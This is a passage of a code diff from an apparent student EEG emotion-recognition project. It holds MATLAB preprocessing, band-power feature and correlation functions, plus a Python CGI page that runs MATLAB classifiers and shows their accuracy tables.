|
||||
result = computeFFTPredict(raw_data,preprocessing_method,channel,fb,features);
|
||||
elseif strcmp(preprocessing_method,'swt') || strcmp(preprocessing_method,'ica_swt')
|
||||
result = computeSWTPredict(raw_data,preprocessing_method,channel,fb,features);
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,47 @@
|
||||
function cutData(dataset_path,project_path)
|
||||
addpath(genpath('..\Global Code'));
|
||||
|
||||
dataset_eeg_path = strcat(dataset_path,'\EEG');
|
||||
|
||||
len1 = 640;
|
||||
len2 = 3200;
|
||||
|
||||
allList = dir(dataset_eeg_path);
|
||||
allDir = { allList(3:end).name };
|
||||
|
||||
if exist(strcat(project_path,'\EEG"'), 'dir')
|
||||
system(strcat('rmdir /S /Q "',project_path,'\EEG"'));
|
||||
end
|
||||
createFolder(length(allDir),strcat(project_path,'\EEG'));
|
||||
|
||||
for i=1:length(allDir)
|
||||
dataOneDir = allDir{i};
|
||||
allFileList = dir(strcat(dataset_eeg_path,'\',dataOneDir));
|
||||
allFileName = { allFileList(3:end).name };
|
||||
|
||||
for j = 1:length(allFileName)
|
||||
dataOneFile = allFileName{j};
|
||||
dataEEG = csvread(strcat(dataset_eeg_path,'\',dataOneDir,'\',dataOneFile),1,0);
|
||||
start = mod(length(dataEEG),4)+1;
|
||||
dataEEG = dataEEG(start:end,3:16);
|
||||
L = length(dataEEG);
|
||||
|
||||
if L>=len2
|
||||
used = (L - len2)/2;
|
||||
elseif L>=len1
|
||||
used = (L - len1)/2;
|
||||
else
|
||||
continue;
|
||||
end
|
||||
|
||||
start = used+1;
|
||||
stop = L - used;
|
||||
|
||||
rawData = transpose(dataEEG(start:stop,:));
|
||||
|
||||
fileNewName = dataOneFile(5:end-22);
|
||||
|
||||
csvwrite(strcat(project_path,'\EEG\',dataOneDir,'\',fileNewName,'.csv'),rawData);
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,27 @@
|
||||
function raw_data = cutDataPredict(file_path)
|
||||
normRows = @(XXX) bsxfun(@times,XXX,1 ./ sqrt(sum(XXX.^2,2))); %Normalisasi Euclidean
|
||||
len1 = 640;
|
||||
|
||||
dataEEG = csvread(file_path,1,0);
|
||||
start = mod(length(dataEEG),4)+1;
|
||||
dataEEG = dataEEG(start:end,3:16);
|
||||
L = length(dataEEG);
|
||||
|
||||
if L>=len1
|
||||
used = (L - len1)/2;
|
||||
end
|
||||
|
||||
start = used+1;
|
||||
stop = L - used;
|
||||
|
||||
raw_data = transpose(dataEEG(start:stop,:));
|
||||
%raw_data = normRows(raw_data);
|
||||
|
||||
for i=1:14
|
||||
path = strcat('../../Web App/img/raw_data/',num2str(i),'.png');
|
||||
|
||||
set(gcf,'Visible','off');
|
||||
plot(raw_data(i,:));
|
||||
print(path,'-dpng');
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,61 @@
|
||||
function divideFiveSeconds(dataset_path,project_path)
|
||||
addpath(genpath('..\Global Code'));
|
||||
normRows = @(XXX) bsxfun(@times,XXX,1 ./ sqrt(sum(XXX.^2,2))); %Normalisasi Euclidean
|
||||
|
||||
base_path = strcat(project_path,'\EEG');
|
||||
base_path2 = strcat(project_path,'\USED_EEG');
|
||||
dataKuesioner = csvread(strcat(dataset_path,'\metadata\list questionnairre.csv'));
|
||||
|
||||
counterNewKuesioner=1;
|
||||
counterKuesioner=1;
|
||||
newDataKuesioner={};
|
||||
allList = dir( base_path );
|
||||
allDir = { allList(3:end).name };
|
||||
lewat=0;
|
||||
|
||||
if exist(base_path2, 'dir')
|
||||
system(strcat('rmdir /S /Q "',base_path2,'"'));
|
||||
end
|
||||
createFolder(length(allDir),base_path2);
|
||||
|
||||
for i=1:length(allDir)
|
||||
dataOneDir = allDir{i};
|
||||
allFileList = dir(strcat(base_path,'\',dataOneDir));
|
||||
allFileName = { allFileList(3:end).name };
|
||||
|
||||
counter=1;
|
||||
|
||||
for j = 1:length(allFileName)
|
||||
dataOneFile = allFileName{j};
|
||||
dataEEG = csvread(strcat(base_path,'\',dataOneDir,'\',dataOneFile));
|
||||
%dataEEG = normRows(dataEEG);
|
||||
if length(dataEEG(1,:))==640
|
||||
csvwrite(strcat(base_path2,'\',dataOneDir,'\T',num2str(counter),'.csv'),dataEEG);
|
||||
newDataKuesioner{counterNewKuesioner} = dataKuesioner(counterKuesioner,:);
|
||||
counter=counter+1;
|
||||
counterKuesioner=counterKuesioner+1;
|
||||
counterNewKuesioner=counterNewKuesioner+1;
|
||||
elseif length(dataEEG(1,:))==3200
|
||||
start=1;
|
||||
stop=640;
|
||||
for k=1:5
|
||||
csvwrite(strcat(base_path2,'\',dataOneDir,'\T',num2str(counter),'.csv'),dataEEG(:,start:stop));
|
||||
newDataKuesioner{counterNewKuesioner} = dataKuesioner(counterKuesioner,:);
|
||||
start=stop+1;
|
||||
stop=stop+640;
|
||||
counter=counter+1;
|
||||
counterNewKuesioner=counterNewKuesioner+1;
|
||||
end
|
||||
counterKuesioner=counterKuesioner+1;
|
||||
else
|
||||
lewat=lewat+1;
|
||||
end
|
||||
end
|
||||
end
|
||||
newDataKuesioner = reshape(cell2mat(newDataKuesioner),2,[]);
|
||||
newDataKuesioner = transpose(newDataKuesioner);
|
||||
|
||||
mkdir(strcat(project_path,'\Metadata'));
|
||||
|
||||
csvwrite(strcat(project_path,'\Metadata\newDataKuesioner.csv'),newDataKuesioner);
|
||||
end
|
||||
@@ -0,0 +1,8 @@
|
||||
function processData(dataset_path)
|
||||
dataset_path = 'D:\TUGAS AKHIR\Datasets';
|
||||
project_path = strcat(pwd,'\..\..');
|
||||
%%%%%%%%%%%%%
|
||||
|
||||
cutData(dataset_path,project_path);
|
||||
divideFiveSeconds(dataset_path,project_path);
|
||||
end
|
||||
@@ -0,0 +1,106 @@
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%Author : Muhammad Nadzeri Munawar
|
||||
%
|
||||
%
|
||||
%This code is to create absolute_power variable of subject no. 20 such as :
|
||||
%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
|
||||
%channel, 5 mean total absolute power, 40 mean 40 trial
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
|
||||
function absolute_power = absolute(project_path,method)
|
||||
|
||||
% define initial variable
|
||||
if strcmp(method,'fft') || strcmp(method,'swt')
|
||||
basePath = strcat(project_path,'\USED_EEG\');
|
||||
elseif strcmp(method,'ica_fft') || strcmp(method,'ica_swt')
|
||||
basePath = strcat(project_path,'\ICA_EEG\');
|
||||
end
|
||||
all_files = dir(basePath);
|
||||
all_files = all_files(3:end);
|
||||
all_dir = all_files([all_files(:).isdir]);
|
||||
subjects = numel(all_dir);
|
||||
channel = 14;%define total channel
|
||||
samplingFrequency = 128;
|
||||
|
||||
for h = 1:subjects
|
||||
directory = sprintf('S%02d',h);
|
||||
|
||||
allList = dir( strcat(basePath,directory ));
|
||||
allFiles = { allList(3:end).name };
|
||||
|
||||
%looping trial for define absolut power for each trial
|
||||
for i = 1:length(allFiles)
|
||||
|
||||
%looping channel for compute absolute power for each channel
|
||||
for j = 1:channel
|
||||
|
||||
%open spesific file according trial and channel
|
||||
%Contain each channel per file (In this case subject no. 20)
|
||||
X = csvread(strcat(basePath,directory,'\T',num2str(i),'.csv'));
|
||||
X = X(j,:);
|
||||
|
||||
if strcmp(method,'swt')||strcmp(method,'ica_swt')
|
||||
[swa,swd] = swt(X,5,'db4');
|
||||
|
||||
d2=swd(2,:);
|
||||
d3=swd(3,:);
|
||||
d4=swd(4,:);
|
||||
d5=swd(5,:);
|
||||
a5=swa(5,:);
|
||||
|
||||
absolute_power(h,j,1,i) = mean(d2)+std(d2)+min(d2)+max(d2);
|
||||
absolute_power(h,j,2,i) = mean(d3)+std(d3)+min(d3)+max(d3);
|
||||
absolute_power(h,j,3,i) = mean(d4)+std(d4)+min(d4)+max(d4);
|
||||
absolute_power(h,j,4,i) = mean(d5)+std(d5)+min(d5)+max(d5);
|
||||
absolute_power(h,j,5,i) = mean(a5)+std(a5)+min(a5)+max(a5);
|
||||
% absolute_power(h,j,1,i) = sum(d2.^2);
|
||||
% absolute_power(h,j,2,i) = sum(d3.^2);
|
||||
% absolute_power(h,j,3,i) = sum(d4.^2);
|
||||
% absolute_power(h,j,4,i) = sum(d5.^2);
|
||||
% absolute_power(h,j,5,i) = sum(a5.^2);
|
||||
|
||||
elseif strcmp(method,'fft')||strcmp(method,'ica_fft')
|
||||
Fs = samplingFrequency; % Sampling frequency
|
||||
L = length(X); % Length of signal
|
||||
|
||||
%compute fft from channel
|
||||
Y = fft(X);
|
||||
|
||||
%Divide fft to get frequency
|
||||
P2 = abs(Y/L);
|
||||
P1 = P2(1:L/2+1);
|
||||
P1(2:end-1) = 2*P1(2:end-1);
|
||||
|
||||
%divide froquency to get delta, theta, alpha, beta, gamma
|
||||
%And average all of each range (delta, theta, alpha, beta, gamma)
|
||||
delta = P1(L*1/Fs:L*4/Fs);
|
||||
theta = P1(L*4/Fs:L*8/Fs);
|
||||
alpha = P1(L*8/Fs:L*13/Fs);
|
||||
beta = P1(L*13/Fs:L*30/Fs);
|
||||
gamma = P1(L*30/Fs:L*50/Fs);
|
||||
|
||||
delta = mean(delta)+std(delta)+min(delta)+max(delta);
|
||||
theta = mean(theta)+std(theta)+min(theta)+max(theta);
|
||||
alpha = mean(alpha)+std(alpha)+min(alpha)+max(alpha);
|
||||
beta = mean(beta)+std(beta)+min(beta)+max(beta);
|
||||
gamma = mean(gamma)+std(gamma)+min(gamma)+max(gamma);
|
||||
|
||||
% delta = max(delta)+std(delta);
|
||||
% theta = max(delta)+std(theta);
|
||||
% alpha = max(delta)+std(alpha);
|
||||
% beta = max(delta)+std(beta);
|
||||
% gamma = max(delta)+std(gamma);
|
||||
|
||||
%Create absolute power
|
||||
%Each channel create absolute power (delta,theta,alpha,beta,gamma)
|
||||
%from each trial
|
||||
absolute_power(h,j,1,i) = delta;
|
||||
absolute_power(h,j,2,i) = theta;
|
||||
absolute_power(h,j,3,i) = alpha;
|
||||
absolute_power(h,j,4,i) = beta;
|
||||
absolute_power(h,j,5,i) = gamma;
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,30 @@
|
||||
function correlation_data = correlation(project_path,absolute_power)
|
||||
basePath = strcat(project_path,'\USED_EEG\');
|
||||
|
||||
kuesioner = csvread(strcat(project_path,'\Metadata\newDataKuesioner.csv'));
|
||||
kuesioner = transpose(kuesioner);
|
||||
start = 0;
|
||||
stop = 0;
|
||||
|
||||
subject = size(absolute_power);
|
||||
subject = subject(1);
|
||||
|
||||
for h=1:subject
|
||||
directory = sprintf('S%02d',h);
|
||||
allList = dir( strcat(basePath,directory ));
|
||||
allFiles = { allList(3:end).name };
|
||||
trial = length(allFiles);
|
||||
|
||||
start = stop+1;
|
||||
stop = stop + trial;
|
||||
|
||||
for k=1:2
|
||||
for i=1:14
|
||||
for j=1:5
|
||||
temp = corrcoef(kuesioner(k,start:stop), reshape(absolute_power(h,i,j,1:trial),1,trial));
|
||||
correlation_data(h,k,i,j) = temp(1,2);
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,49 @@
|
||||
function [sum_ch_arousal,sum_ch_valence,sum_fb_arousal,sum_fb_valence,sum_sb_arousal,sum_sb_valence] = processCorrelation(correlation_data)
|
||||
th = 0.35;
|
||||
|
||||
subjects = size(correlation_data);
|
||||
subjects = subjects(1);
|
||||
|
||||
fb_valence = zeros(subjects,5);
|
||||
fb_arousal = zeros(subjects,5);
|
||||
|
||||
ch_valence = zeros(subjects,14);
|
||||
ch_arousal = zeros(subjects,14);
|
||||
|
||||
correlation_data = abs(correlation_data);
|
||||
|
||||
for i = 1:subjects
|
||||
correlation_value = reshape(correlation_data(i,1,:,:),14,5);
|
||||
idx_corr = correlation_value<th;
|
||||
correlation_value(idx_corr)=0;
|
||||
fb_valence(i,:) = sum(correlation_value);
|
||||
end
|
||||
|
||||
for i = 1:subjects
|
||||
correlation_value = reshape(correlation_data(i,2,:,:),14,5);
|
||||
idx_corr = correlation_value<th;
|
||||
correlation_value(idx_corr)=0;
|
||||
fb_arousal(i,:) = sum(correlation_value);
|
||||
end
|
||||
|
||||
for i = 1:subjects
|
||||
correlation_value = transpose(reshape(correlation_data(i,1,:,:),14,5));
|
||||
idx_corr = correlation_value<th;
|
||||
correlation_value(idx_corr)=0;
|
||||
ch_valence(i,:) = sum(correlation_value);
|
||||
end
|
||||
|
||||
for i = 1:subjects
|
||||
correlation_value = transpose(reshape(correlation_data(i,2,:,:),14,5));
|
||||
idx_corr = correlation_value<th;
|
||||
correlation_value(idx_corr)=0;
|
||||
ch_arousal(i,:) = sum(correlation_value);
|
||||
end
|
||||
|
||||
sum_ch_arousal = sum(ch_arousal);
|
||||
sum_ch_valence = sum(ch_valence);
|
||||
sum_fb_arousal = sum(fb_arousal);
|
||||
sum_fb_valence = sum(fb_valence);
|
||||
sum_sb_arousal = sum(fb_arousal,2);
|
||||
sum_sb_valence = sum(fb_valence,2);
|
||||
end
|
||||
@@ -0,0 +1,16 @@
|
||||
function [sum_ch_arousal,sum_ch_valence,sum_fb_arousal,sum_fb_valence,sum_sb_arousal,sum_sb_valence] = statisticalAnalysis(method)
|
||||
project_path = strcat(pwd,'\..\..');
|
||||
method = 'fft';%'ica_fft','swt','ica_swt';
|
||||
%%%%%%%%%%%%%%%
|
||||
|
||||
if strcmp(method,'ica_fft')||strcmp(method,'ica_swt')
|
||||
if exist(strcat(project_path,'\ICA_EEG'), 'dir')==0
|
||||
addpath(genpath('..\Preprocessing'));
|
||||
computeICA(project_path);
|
||||
end
|
||||
end
|
||||
|
||||
absolute_power = absolute(project_path,method);
|
||||
correlation_data = correlation(project_path,absolute_power);
|
||||
[sum_ch_arousal,sum_ch_valence,sum_fb_arousal,sum_fb_valence,sum_sb_arousal,sum_sb_valence] = processCorrelation(correlation_data);
|
||||
end
|
||||
@@ -0,0 +1 @@
|
||||
python -m CGIHTTPServer 8080
|
||||
@@ -0,0 +1,900 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
# Import modules for CGI handling
|
||||
import cgi, cgitb
|
||||
import matlab.engine
|
||||
|
||||
|
||||
print "Content-type: text/html\n"
|
||||
|
||||
# Create matlab file
|
||||
eng = matlab.engine.start_matlab()
|
||||
|
||||
# Classification matlab path
|
||||
function_path = 'D:/TUGAS AKHIR/Progress/SIDANG/Source Code/Classification'
|
||||
|
||||
# Call matlab function
|
||||
eng.eval("cd '"+function_path+"';",nargout=0)
|
||||
|
||||
#Valence FFT
|
||||
(t,r,tp_valence_fft_knn,tn_valence_fft_knn,fp_valence_fft_knn,fn_valence_fft_knn) = eng.eval("doAccuracy('fft','valence','knn');",nargout=6);
|
||||
(t,r,tp_valence_fft_svm,tn_valence_fft_svm,fp_valence_fft_svm,fn_valence_fft_svm) = eng.eval("doAccuracy('fft','valence','svm');",nargout=6);
|
||||
|
||||
#Valence ICA + FFT
|
||||
(t,r,tp_valence_ica_fft_knn,tn_valence_ica_fft_knn,fp_valence_ica_fft_knn,fn_valence_ica_fft_knn) = eng.eval("doAccuracy('ica_fft','valence','knn');",nargout=6);
|
||||
(t,r,tp_valence_ica_fft_svm,tn_valence_ica_fft_svm,fp_valence_ica_fft_svm,fn_valence_ica_fft_svm) = eng.eval("doAccuracy('ica_fft','valence','svm');",nargout=6);
|
||||
|
||||
#Valence SWT
|
||||
(t,r,tp_valence_swt_knn,tn_valence_swt_knn,fp_valence_swt_knn,fn_valence_swt_knn) = eng.eval("doAccuracy('swt','valence','knn');",nargout=6);
|
||||
(t,r,tp_valence_swt_svm,tn_valence_swt_svm,fp_valence_swt_svm,fn_valence_swt_svm) = eng.eval("doAccuracy('swt','valence','svm');",nargout=6);
|
||||
|
||||
#Valence ICA + SWT
|
||||
(t,r,tp_valence_ica_swt_knn,tn_valence_ica_swt_knn,fp_valence_ica_swt_knn,fn_valence_ica_swt_knn) = eng.eval("doAccuracy('ica_swt','valence','knn');",nargout=6);
|
||||
(t,r,tp_valence_ica_swt_svm,tn_valence_ica_swt_svm,fp_valence_ica_swt_svm,fn_valence_ica_swt_svm) = eng.eval("doAccuracy('ica_swt','valence','svm');",nargout=6);
|
||||
|
||||
#Arousal FFT
|
||||
(t,r,tp_arousal_fft_knn,tn_arousal_fft_knn,fp_arousal_fft_knn,fn_arousal_fft_knn) = eng.eval("doAccuracy('fft','arousal','knn');",nargout=6);
|
||||
(t,r,tp_arousal_fft_svm,tn_arousal_fft_svm,fp_arousal_fft_svm,fn_arousal_fft_svm) = eng.eval("doAccuracy('fft','arousal','svm');",nargout=6);
|
||||
|
||||
#Arousal ICA + FFT
|
||||
(t,r,tp_arousal_ica_fft_knn,tn_arousal_ica_fft_knn,fp_arousal_ica_fft_knn,fn_arousal_ica_fft_knn) = eng.eval("doAccuracy('ica_fft','arousal','knn');",nargout=6);
|
||||
(t,r,tp_arousal_ica_fft_svm,tn_arousal_ica_fft_svm,fp_arousal_ica_fft_svm,fn_arousal_ica_fft_svm) = eng.eval("doAccuracy('ica_fft','arousal','svm');",nargout=6);
|
||||
|
||||
#Arousal SWT
|
||||
(t,r,tp_arousal_swt_knn,tn_arousal_swt_knn,fp_arousal_swt_knn,fn_arousal_swt_knn) = eng.eval("doAccuracy('swt','arousal','knn');",nargout=6);
|
||||
(t,r,tp_arousal_swt_svm,tn_arousal_swt_svm,fp_arousal_swt_svm,fn_arousal_swt_svm) = eng.eval("doAccuracy('swt','arousal','svm');",nargout=6);
|
||||
|
||||
#Arousal ICA + SWT
|
||||
(t,r,tp_arousal_ica_swt_knn,tn_arousal_ica_swt_knn,fp_arousal_ica_swt_knn,fn_arousal_ica_swt_knn) = eng.eval("doAccuracy('ica_swt','arousal','knn');",nargout=6);
|
||||
(t,r,tp_arousal_ica_swt_svm,tn_arousal_ica_swt_svm,fp_arousal_ica_swt_svm,fn_arousal_ica_swt_svm) = eng.eval("doAccuracy('ica_swt','arousal','svm');",nargout=6);
|
||||
|
||||
print '''<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="description" content="">
|
||||
<meta name="author" content="">
|
||||
|
||||
<title>EEG Emotion Recognition</title>
|
||||
|
||||
<!-- Bootstrap Core CSS -->
|
||||
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/bootstrap/dist/css/bootstrap.min.css" rel="stylesheet">
|
||||
|
||||
<!-- MetisMenu CSS -->
|
||||
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/metisMenu/dist/metisMenu.min.css" rel="stylesheet">
|
||||
|
||||
<!-- Timeline CSS -->
|
||||
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/dist/css/timeline.css" rel="stylesheet">
|
||||
|
||||
<!-- Custom CSS -->
|
||||
<link href="../css/accuracy.css" rel="stylesheet">
|
||||
|
||||
<!-- Morris Charts CSS -->
|
||||
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/morrisjs/morris.css" rel="stylesheet">
|
||||
|
||||
<!-- Custom Fonts -->
|
||||
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
|
||||
|
||||
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
|
||||
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
|
||||
<!--[if lt IE 9]>
|
||||
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
|
||||
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
|
||||
<![endif]-->
|
||||
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div id="wrapper">
|
||||
<div id="page-wrapper">
|
||||
<div class="row">
|
||||
<div class="col-lg-12">
|
||||
<a href="index.py" style="text-decoration:none;color: #000;"><h1 class="page-header text-center">EEG Emotion Recognition</h1></a>
|
||||
</div>
|
||||
<!-- /.col-lg-12 -->
|
||||
</div>
|
||||
<!-- /.row -->
|
||||
<div class="row">
|
||||
<div class="col-lg-3">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
Fast Fourier Transformation
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
K-Neirest Neighbord
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
Valence
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="table-responsive">
|
||||
<table class="table table-hover">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>#</th>
|
||||
<th>1</th>
|
||||
<th>2</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<th>1</th>
|
||||
<td>TP : '''+str(tp_valence_fft_knn)+'''</td>
|
||||
<td>FP : '''+str(fp_valence_fft_knn)+'''</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>2</th>
|
||||
<td>TN : '''+str(tn_valence_fft_knn)+'''</td>
|
||||
<td>FN : '''+str(fn_valence_fft_knn)+'''</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<!-- /.table-responsive -->
|
||||
<h4>Accuracy : </h4>
|
||||
<blockquote>
|
||||
<p>Acc = (TP + TN) / Total Population</p>
|
||||
<p>Acc = ('''+str(tp_valence_fft_knn)+''' + '''+str(tn_valence_fft_knn)+''') / '''+str(tp_valence_fft_knn+fp_valence_fft_knn+tn_valence_fft_knn+fn_valence_fft_knn)+'''</p>
|
||||
<p>Acc = <b>'''+str((tp_valence_fft_knn+tn_valence_fft_knn)/(tp_valence_fft_knn+tn_valence_fft_knn+fp_valence_fft_knn+fn_valence_fft_knn))+'''</b></p>
|
||||
</blockquote>
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
||||
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
Arousal
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="table-responsive">
|
||||
<table class="table table-hover">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>#</th>
|
||||
<th>1</th>
|
||||
<th>2</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<th>1</th>
|
||||
<td>TP : '''+str(tp_arousal_fft_knn)+'''</td>
|
||||
<td>FP : '''+str(fp_arousal_fft_knn)+'''</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>2</th>
|
||||
<td>TN : '''+str(tn_arousal_fft_knn)+'''</td>
|
||||
<td>FN : '''+str(fn_arousal_fft_knn)+'''</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<!-- /.table-responsive -->
|
||||
<h4>Accuracy : </h4>
|
||||
<blockquote>
|
||||
<p>Acc = (TP + TN) / Total Population</p>
|
||||
<p>Acc = ('''+str(tp_arousal_fft_knn)+''' + '''+str(tn_arousal_fft_knn)+''') / '''+str(tp_arousal_fft_knn+fp_arousal_fft_knn+tn_arousal_fft_knn+fn_arousal_fft_knn)+'''</p>
|
||||
<p>Acc = <b>'''+str((tp_arousal_fft_knn+tn_arousal_fft_knn)/(tp_arousal_fft_knn+tn_arousal_fft_knn+fp_arousal_fft_knn+fn_arousal_fft_knn))+'''</b></p>
|
||||
</blockquote>
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
||||
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
Support Vector Machine
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
Valence
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="table-responsive">
|
||||
<table class="table table-hover">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>#</th>
|
||||
<th>1</th>
|
||||
<th>2</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<th>1</th>
|
||||
<td>TP : '''+str(tp_valence_fft_svm)+'''</td>
|
||||
<td>FP : '''+str(fp_valence_fft_svm)+'''</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>2</th>
|
||||
<td>TN : '''+str(tn_valence_fft_svm)+'''</td>
|
||||
<td>FN : '''+str(fn_valence_fft_svm)+'''</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<!-- /.table-responsive -->
|
||||
<h4>Accuracy : </h4>
|
||||
<blockquote>
|
||||
<p>Acc = (TP + TN) / Total Population</p>
|
||||
<p>Acc = ('''+str(tp_valence_fft_svm)+''' + '''+str(tn_valence_fft_svm)+''') / '''+str(tp_valence_fft_svm+fp_valence_fft_svm+tn_valence_fft_svm+fn_valence_fft_svm)+'''</p>
|
||||
<p>Acc = <b>'''+str((tp_valence_fft_svm+tn_valence_fft_svm)/(tp_valence_fft_svm+tn_valence_fft_svm+fp_valence_fft_svm+fn_valence_fft_svm))+'''</b></p>
|
||||
</blockquote>
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
||||
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
Arousal
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="table-responsive">
|
||||
<table class="table table-hover">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>#</th>
|
||||
<th>1</th>
|
||||
<th>2</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<th>1</th>
|
||||
<td>TP : '''+str(tp_arousal_fft_svm)+'''</td>
|
||||
<td>FP : '''+str(fp_arousal_fft_svm)+'''</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>2</th>
|
||||
<td>TN : '''+str(tn_arousal_fft_svm)+'''</td>
|
||||
<td>FN : '''+str(fn_arousal_fft_svm)+'''</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<!-- /.table-responsive -->
|
||||
<h4>Accuracy : </h4>
|
||||
<blockquote>
|
||||
<p>Acc = (TP + TN) / Total Population</p>
|
||||
<p>Acc = ('''+str(tp_arousal_fft_svm)+''' + '''+str(tn_arousal_fft_svm)+''') / '''+str(tp_arousal_fft_svm+fp_arousal_fft_svm+tn_arousal_fft_svm+fn_arousal_fft_svm)+'''</p>
|
||||
<p>Acc = <b>'''+str((tp_arousal_fft_svm+tn_arousal_fft_svm)/(tp_arousal_fft_svm+tn_arousal_fft_svm+fp_arousal_fft_svm+fn_arousal_fft_svm))+'''</b></p>
|
||||
</blockquote>
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="col-lg-3">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
ICA + Fast Fourier Transformation
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
K-Neirest Neighbord
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
Valence
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="table-responsive">
|
||||
<table class="table table-hover">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>#</th>
|
||||
<th>1</th>
|
||||
<th>2</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<th>1</th>
|
||||
<td>TP : '''+str(tp_valence_ica_fft_knn)+'''</td>
|
||||
<td>FP : '''+str(fp_valence_ica_fft_knn)+'''</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>2</th>
|
||||
<td>TN : '''+str(tn_valence_ica_fft_knn)+'''</td>
|
||||
<td>FN : '''+str(fn_valence_ica_fft_knn)+'''</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<!-- /.table-responsive -->
|
||||
<h4>Accuracy : </h4>
|
||||
<blockquote>
|
||||
<p>Acc = (TP + TN) / Total Population</p>
|
||||
<p>Acc = ('''+str(tp_valence_ica_fft_knn)+''' + '''+str(tn_valence_ica_fft_knn)+''') / '''+str(tp_valence_ica_fft_knn+fp_valence_ica_fft_knn+tn_valence_ica_fft_knn+fn_valence_ica_fft_knn)+'''</p>
|
||||
<p>Acc = <b>'''+str((tp_valence_ica_fft_knn+tn_valence_ica_fft_knn)/(tp_valence_ica_fft_knn+tn_valence_ica_fft_knn+fp_valence_ica_fft_knn+fn_valence_ica_fft_knn))+'''</b></p>
|
||||
</blockquote>
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
